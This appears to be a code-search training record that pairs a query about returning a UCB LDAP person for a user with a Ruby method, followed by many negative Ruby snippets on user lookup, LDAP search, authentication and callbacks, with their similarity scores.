"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def equipment_line_item_params
params.require(:equipment_line_item).permit(:equipment_id, :equipment_move_buffer_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Returns the UCB::LDAP::Person for this User
|
def ldap_person
@person ||= UCB::LDAP::Person.find_by_uid(self.login) if self.login
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def get_active_directory_user(username, is_registered=false)\n user_attributes = get_ad_user_attributes(username, is_registered)\n return nil if user_attributes.nil?\n User.new(user_attributes)\n end",
"def person\n @person ||= Person.find_or_initialize_by email: @auth[:info][:email] do |p|\n if %i(first_name last_name).all? { |f| @auth[:info].key? f }\n # If the oauth provider gave us first and last name, use them\n p.first_name = @auth[:info][:first_name]\n p.last_name = @auth[:info][:last_name]\n else\n p.name = @auth[:info][:name]\n end\n end\n end",
"def get_user(user)\n user_filter = Net::LDAP::Filter.eq(\"uid\", user['username'])\n res = search(@config[:userdn], user_filter)\n \n if (res[:message] != \"Success\")\n # tbd handle error\n return nil\n end\n \n if (res[:values] == [])\n return nil\n end\n \n user = {\n :username => res[:values].first.uid.first,\n :uid => res[:values].first.uidnumber.first,\n :gid => res[:values].first.gidnumber.first,\n :first => res[:values].first.givenname.first,\n :last => res[:values].first.sn.first\n }\n \n return user\n end",
"def get_user()\n user = User.first(:id => self.user_id)\n if !user\n user = User.new\n user.login = \"anon\"\n end\n return user\n end",
"def user_id\n self.person.user.id if self.person\n end",
"def user_id\n self.person.user.id if self.person\n end",
"def user_id\n self.person.user.id if self.person\n end",
"def user_obj\r\n User.select(:name).where(id: object.user_id).last || User.new(name: \"Not Found\")\r\n end",
"def person\n Person.find_by_id( owner, @client )\n end",
"def find_person\r\n if (params[:u] == nil || params[:u] == '')\r\n require_login || return\r\n @person = User.current\r\n else\r\n @person = Person.find(params[:u])\r\n end\r\n rescue ActiveRecord::RecordNotFound\r\n render_404\r\n end",
"def user\n User.where(id: object.user_id)[0]\n end",
"def current_person() # :doc:\n if current_user\n current_user.person || current_user.build_person\n end\n end",
"def user_from_omniauth\n IdentifierScheme.for_users.each do |scheme|\n omniauth_hash = session.fetch(\"devise.#{scheme.name}_data\", {})\n next if omniauth_hash.empty?\n\n return ::User.from_omniauth(scheme_name: scheme.name, omniauth_hash: omniauth_hash)\n end\n nil\n end",
"def get_user_info user\n unless user.known_user.nil?\n known_user = user.known_user\n is_me = known_user.is_current_user || false\n return is_me ? \"people/me\" : known_user.person_name\n end\n get_one_of user\nend",
"def find_profile_user(full_name)\n name = split_phrase(full_name)\n profile = Profile.find_by_first_name_and_last_name(name.first, name.last)\n user = profile.user unless profile.blank?\n user\n end",
"def given_name\n @net_ldap_entry[:givenname].first\n end",
"def ldap_username\n @attributes[:ldap_username]\n end",
"def user\n # 自インスタンスのuser_idの値に紐付くuserインスタンスを戻り値として返す\n return User.find(self.user_id)\n end",
"def user\n return self['user'] if self['user'].is_a?(User)\n User.new(self['user']) if self['user']\n end",
"def user\n return unless user_id && user_type\n return @user if instance_variable_defined?('@user')\n\n @user = user_type.constantize.find_by(id: user_id)\n end",
"def get_user(id)\n @users[id]\n end",
"def get_ldap_id\n\t\tself.id = Devise::LDAP::Adapter.get_ldap_param(self.username,\"uidnumber\").first\n end",
"def person_for sender\n room.people[sender.stripped.to_s] || Person.new(identity: sender)\n end",
"def get_user_by_id(id)\n resp = request('getUserByID', {:userID => id})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def get_user\n unless session[:drupal_user_id].nil?\n uid = session[:drupal_user_id]\n @user = User.find_by_uid(uid)\n end\n\n @user || nil\n end",
"def get_user\n\t\treturn Account.find(self.account_id)\n\tend",
"def user\n User.load(self.user_id)\n end",
"def find_person\n person = nil\n person = Staff.find_by(sam_staff_id: self.sam_demonstrator_id)\n return person != nil ? person : Student.find_by(sam_student_id: self.sam_demonstrator_id)\n end",
"def user\n begin\n if user_uid?\n @_user ||= User.find(user_uid)\n end\n if respond_to?(:email?) && email?\n @_user ||= User.where(email: email).first\n end\n rescue => e\n Rails.logger.warn \"#{self.class} #{self.id} has a user_uid that corresponds to no known data room user. Perhaps someone has been deleted? Ignoring. Error: #{e}\"\n nil\n end\n @_user\n end",
"def current_person\n unless @cp and @request.session[:user_id]\n @cp = User.get(@request.session[:user_id])\n end\n @cp\n end",
"def person( query )\n Person.find( query, self )\n end",
"def user(id = 'self')\n get(\"users/#{id}\").user\n end",
"def get_user(jid, create)\n # Drop the resource.\n parts = jid.to_s.split('/')\n jid = parts[0]\n\n user = @users[jid]\n if not user and create\n user = User.new(@sender, jid, invent_nick(jid))\n @users[jid] = user\n @logger.debug(\"Created user #{user.nick} <#{user.jid}>\")\n end\n user\n end",
"def get_user(name)\n User.where(name:).first\n end",
"def get_ldap_data\n if Rails.env.production?\n result = LdapHelper::find_user(self.username)\n\n if result\n self.legacy_id ||= result.try(:employeeNumber).try(:first)\n self.first_name ||= result.try(:givenName).try(:first)\n self.last_name ||= result.try(:sn).try(:first)\n self.display_name ||= result.try(:displayName).try(:first)\n self.status ||= result.try(:employeeType).try(:first) || \"potential\"\n self.email ||= result.try(:mail).try(:first) || \"#{username}@fake.me\"\n end\n end\n end",
"def find_person(person)\n cohort = traverse(person)\n raise Family::Tree::PersonNotFoundError if cohort.nil?\n\n cohort&.\n generation&.\n find { |elem| elem&.name == person }\n end",
"def get_user(user_id)\n return User.find(user_id)\n end",
"def person\n @person ||= Person.find_or_create_by(name: short_name)\n end",
"def ldap_realname(username)\n\n begin\n # Workaround for bug in jruby-ldap-0.0.1:\n LDAP::load_configuration()\n rescue\n\n end\n\n ldap_host = 'ldap.uio.no'\n conn = LDAP::Conn.new(ldap_host, LDAP::LDAP_PORT)\n filter = \"(uid=#{username})\";\n base_dn = \"dc=uio,dc=no\"\n\n if conn.bound? then\n conn.unbind()\n end\n\n ansatt = nil\n conn.bind do\n\n conn.search2(\"dc=uio,dc=no\", LDAP::LDAP_SCOPE_SUBTREE,\n \"(uid=#{username})\", nil, false, 0, 0).each do |entry|\n\n brukernavn = entry.to_hash[\"uid\"][0]\n fornavn = entry.to_hash[\"givenName\"][0]\n etternavn = entry.to_hash[\"sn\"][0]\n # epost = entry.to_hash[\"mail\"][0]\n # adresse = entry.to_hash[\"postalAddress\"][0]\n\n return fornavn + \" \" + etternavn\n end\n end\n\nend",
"def find_user(alias_, nickname=nil)\n if nickname && ['me', 'i', 'my'].include?(alias_)\n alias_ = nickname\n end\n user = @users.get(alias_)\n raise Pagerbot::UserNotFoundError.new(\"I don't know who #{alias_} is.\") unless user\n return user\n end",
"def verify_person(username_or_email)\r\n password = params[:person][:password]\r\n if username_or_email.rindex('@')\r\n email = username_or_email\r\n person = Person.authenticate_by_email(email, password)\r\n else\r\n username = username_or_email\r\n person = Person.authenticate_by_username(username, password)\r\n end\r\n\r\n person\r\n end",
"def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info[\"person\"]\n end",
"def user_account\n @user_account ||= if (parts = new_resource.user.match(/(?<domain>.*)\\\\(?<account>.*)/))\n parts[:account]\n else\n new_resource.user\n end\n end",
"def user(id)\n Bibliovore::User.new(\n get_endpoint(\"users/#{id}\", 'user'), self\n )\n end",
"def user(id)\n @users[id.resolve_id]\n end",
"def get_user_details_from_ldap(username)\n\tresult_attrs = [\"uid\", \"displayName\", \"mail\"]\n\tsearch_filter = Net::LDAP::Filter.eq(\"uid\", username)\n\tLDAP_CONNECTION.search(:filter => search_filter, :attributes => result_attrs) { |item| \n\t puts \"#{item.uid.first}: #{item.displayName.first} (#{item.mail.first})\" \n\t}\n\t\nend",
"def user\n @user ||= OctocatHerder::User.fetch(@raw['user'], connection)\n end",
"def user_name\n decode_string_member(:user_name)\n end",
"def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end",
"def user\n if is_partial?\n TwitterUserPartial.from_hash raw_user\n else\n TwitterUser.from_hash raw_user\n end\n end",
"def getCreatedPerson\r\n\t\t\t\t\treturn @createdPerson\r\n\t\t\t\tend",
"def get_user(buf) \r\n return nil if buf[40,4].unpack('L').first <= 0 # UserSidLength\r\n\r\n name = 0.chr * MAX_SIZE\r\n name_size = [name.size].pack('L')\r\n domain = 0.chr * MAX_SIZE\r\n domain_size = [domain.size].pack('L')\r\n snu = 0.chr * 4\r\n \r\n offset = buf[44,4].unpack('L').first # UserSidOffset\r\n \r\n val = LookupAccountSid(\r\n @server,\r\n [buf].pack('P').unpack('L').first + offset,\r\n name,\r\n name_size,\r\n domain,\r\n domain_size,\r\n snu\r\n )\r\n \r\n # Return nil if the lookup failed\r\n return val ? name.nstrip : nil\r\n end",
"def get_user(name)\n @model.find_by(name: name)\n end",
"def user(name = context&.user)\n named_user(name)&.user\n end",
"def _find_resource(descr)\n debug \"Finding User - #{descr}\"\n unless user = @resource_class.first(descr)\n # If descr is a 'urn', let's look it up\n if user_urn = descr[:urn]\n user = @resource_class.create_from_urn(user_urn)\n end\n end\n user\n end",
"def user\n batch_load_one(object.user_id, 'User')\n end",
"def auth_ldap username, password\n user_hash = LDAP.auth username, password\n if user_hash\n user = User.find_or_create_by_username username\n user.email = user_hash[:mail]\n user.privileged = user_hash[:privileged]\n user.name = user_hash[:cn]\n user.save!\n return user\n else\n return nil\n end\n end",
"def find_by_omniauth(auth)\n identity = User::Identity.find_by(provider: auth.provider, uid: auth.uid)\n identity.user if identity\n end",
